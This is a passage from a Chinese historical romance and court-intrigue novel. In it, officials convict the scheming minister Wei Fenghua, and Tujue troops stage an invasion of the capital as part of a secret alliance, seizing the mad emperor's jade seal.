主子的事情哪里是他能够多嘴的,估计是被林姑娘这倾国倾城的美貌迷死了吧。
他怎么早没发现林姑娘的身份。
想起沧隅那会子,他在一边暗中撮合两人的话,就有些尴尬。
人家是姑娘啊,他还一个劲地说什么人家是男人什么的。
林疏影眨巴着眼睛,一脸无辜地看着谢寅,“你说,有什么要我出力的。”
“这次魏丰华谋害嫔妃的所有证据都在这里,关键是那些刑部的官员不认我查出来的东西,这个罪名呢就一直悬在半空,若是定下了魏丰华这个罪名,这些谣言便不攻自破。”
谢寅把证据拿出来交给林疏影。
若说说服那些老顽固,他甚至都懒得去,但是又必须要这些东西稳定百姓。
思来想去,还是疏影最合适了。
他手底下的尽是跟他一样的急性子,哪里有疏影的耐心。
“我倒是有个好人选。”
“嗯?”
“齐怜生,他比我资历深,也更有说服力。况且,所有人都知道我是你的人,暗地里受你扶持,他们应是对我说的话也嗤之以鼻。”
林疏影淡淡一笑,也算是为这个曾经帮过自己的人谋求一些好出路了。
毕竟,齐怜生的才华和谋略都在她之上,只是因为一直不愿与朝堂那些人同流合污才一直深居翰林院,埋头于典籍之中。
无论陈述如何,她想总比现在的大夏好一些。
“好啊,我去找他。”
谢寅心领神会了林疏影的意图,扭头把证据交给长青,“你现在就去,尽快把魏丰华的罪名定下来,就张贴魏丰华的抓捕令。”
“是,主子。”
齐怜生也不负众望,飞速地说服了一众官员,定下了魏丰华的罪名。
百姓们见了魏丰华的行径,一传十十传百,原先抵制谢寅的都转而去围攻魏府去了。
“魏丰华,丧尽天良,机关算尽,谋权篡位,害我大夏百年基业,不得好死!”
酒楼里,这么一句话口口相传。
几乎每一桌都在激烈讨论着魏丰华的累累罪行。
“板上钉钉的事情,你在这里狡辩什么,难不成,你和那贼子是一伙的?”
有人开始为魏丰华说话了,没等开始说就被人怼了回去。
“这罪名我可受不起,有事说事,咱们这些人传的话越来越离谱,我只是觉得不大好,人家或许都没做过这些事情呢。”
这个人手忙脚乱地解释,生怕被人打。
“我告诉你,不想被我们这些人传,他就别做这些丧尽天良的事情啊,明面上他做得坏事就不少,暗地里还能少了?要不是全城搜捕,现在肯定还不老实。”
暗室里。
魏丰华得知了这些事情之后,一气之下,把桌子上的所有东西都扫下去了。
“哼,是谁把这些证据泄露的,一个也别想跑!”
他气呼呼地吼出来,吓得一众人直哆嗦。
还有什么筹码,他还有什么筹码。
他稳下情绪,现在不是慌张的时候。
“无影,确定暗卫去突厥送信了?”
“确定。”
“再派去一个,信还是原来的,你选个能干的,记得让那人半夜三更走,不要打草惊蛇。”
这么些天了,他心里总是突突的,不安稳。
看来,谢寅已经说服那些官员了,他也不能坐以待毙。
陈述所做之事与他有什么区别,不过是现在兵权在谢寅这个小辈手里,好行动。
“我写一份陈述的罪行和他与谢寅所做的苟且事情,无双你去把这些散播到百姓那里,尤其是各大酒楼。”
他眯起眼,不是要玩这些,他奉陪到底!
谢寅就这么一直陪着魏丰华斗,玩各种手段。
百姓们几乎已经到了见怪不怪的程度了。
有一点很耐人寻味,谢寅为什么不抓捕魏丰华呢?
当然,这也只是少部分人的想法,大多数人还是抱着看热闹的态度看这两方给他们耍大刀。
终于等到了突厥的军队。
这一天,林疏影心里莫名忐忑,她抓着谢寅问,“这次突厥前来的人都有谁?”
谢寅哭笑不得,他怎么就知道了。
“你自己去看看。”
“不过,现在还不是时候,魏丰华要有动作了,那些暗卫如何都不肯背叛他,现在他听闻突厥军队到来,看不到暗卫肯定心有疑虑,还是再等等,等我把这些阻碍都解决了,你想要去突厥看公主都没问题。”
他自然想到了疏影这么反常是因为什么。
其实仔细想来,疏影的朋友不多,尤其是她刚到京城还没多长时间,小公主算一个。
“好,我等着你。”
林疏影自觉自己也帮不上什么忙,这些带兵打仗的,陈述的那些下属也都不是吃素的,用不上她。
她之前想过托背上突厥的人帮自己给公主送信来着,但是他们走得太急,她的私情在大事面前也显得无关紧要,也就没好意思主动开口。
还以为,只要她自己不说,就没有人知道。
没想到,还是被谢寅察觉到了。
这种心有灵犀的感觉让人很舒服。
只是这次刀剑相向,别再...
“你要好好的。”
她终于没忍住,叫住了那个一只脚已经迈出门的人。
要平安啊,我等着你娶我。
“等我回来娶你。”
少年迎着外面的光,朗朗一笑。
林疏影心里一滞,点头答应,眼角泛起泪花。
谢寅一直很疑惑,突厥什么时候这么客气了。
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他在沧隅山的寨子里,看着与陈述把酒相谈甚欢的突厥将军阿史那社尔。
之前大夏与突厥怎么谈,怎么不好谈,光是单单一个互市就闹了好久,现在一看,这个是突厥人吗?
他喝了一口酒,有些心不在焉。
将军看到了谢寅,突然和气地说,“谢总督是不是也有心上人了,我们的小首领啊,可是为心上人做了不知道多少事情,才打动了人家的真心,难不成谢总督也还在打动的这个阶段,如果是这样的话,那可就要跟我们小首领取取经了。”
杜尔平日里就大大咧咧的,现在与陈述达成了结盟,自然也不拘束了。
酒喝得尽兴了,也就不管说出些什么来了。
不过他还是有些分寸。
毕竟,小首领的心上人可是大夏的公主,他看清楚了大夏要倒台,故意隐瞒了公主的身份,也省得给小首领添麻烦。
“哈哈哈,好啊,改日我可要跟他好好学一学。”
谈得十分顺利,陈述也给出了十分诱人的条件,明天他们只需要演一出戏就好。
次日,杜尔率领突厥军队叫阵京城。
魏丰华在一边的城墙底下等了一会儿。
他吩咐手底下的暗卫去各个城门守卫处搞小动作。
自然是要将一整个突厥军队都要放进来,与谢寅的禁军当面对质。
到时候,他再一网打尽。
杜尔看着大开的城门,哈哈大笑,嘴里大喊着,“感谢突厥的朋友魏丰华。”
其他士兵也跟着叫嚣,声音也算不小。
不少躲在家里的百姓都能听到,心里对魏丰华这个人恨了又恨。
到现在,他们才明白,原来魏丰华躲了这么多天,就是为了这一天,为了与这些蛮夷联手把大夏一网打尽,真是顶好的算盘。
杜尔也不管三七二十一,按着昨天的计划直捣黄龙,直接往皇城赶去。
禁军像模像样地拦着,“大胆,你们是怎么打开城门的,又怎么能这么快找到皇城?”
“笨,当然是你们的魏尚书给我的,别废话,让我进去。”
说罢,也不管阻拦,杜尔领着一群人杀进了皇宫。
一路上宫女太监有不少护着皇帝的,但都被杜尔逼上了绝路。
“你们把皇帝交出来,我还能放你们一条生路,到时候新皇登基自然也会念在你们做得这些,对你们一番嘉奖。”
“我呸,你个蛮子,敢跟我们这么说话,我看你是不想活了!”
小福子低了一辈子的头,为了保护大夏的最后一个皇上终于抬起来了。
他享受着发泄的快感,那些浮沉直指人高马大的杜尔。
其实他心里是怕的,手上的动作还不停地发抖。
杜尔给身边人一个眼色,那人直接越过小福子,往大殿里面搜查,不一会就把那个疯疯癫癫的人驾出来了。
“你是谁,大胆,见到朕还不下跪!”
李昭朔现在是一身肮脏,不修边幅,蓬松的头发已经沾染了不少泥土,唯独怀里护着玉玺,不肯松手。
杜尔先是被这气势吓了一条,随后反应过来,恍然大悟似的,“疯子?”
之前听公主说过大夏的这一位天子。
不过,没什么好话就是了,他本来也没什么在意公主的话,现在看来,真是疯疯癫癫。
这样了,还不肯放下他的玉玺。
杜尔唏嘘几声,直接把玉玺抢过来了,顺带把皇帝踹到了一边。
这么宝贝的东西,自然是谁有实力谁拿。
谢寅也就在这时候赶过来了,随着文武大臣,直逼突厥。
“你这个贼子,若不是有魏丰华给你开城门,你哪里能进来!”
谢寅按着昨天安排好的说着。
但是他心里还是有点玄,突厥人真的可信吗?
以防万一,他还让长煊长青两个做了额外的准备,出身意外,他就会一举歼灭所有危害京城的势力。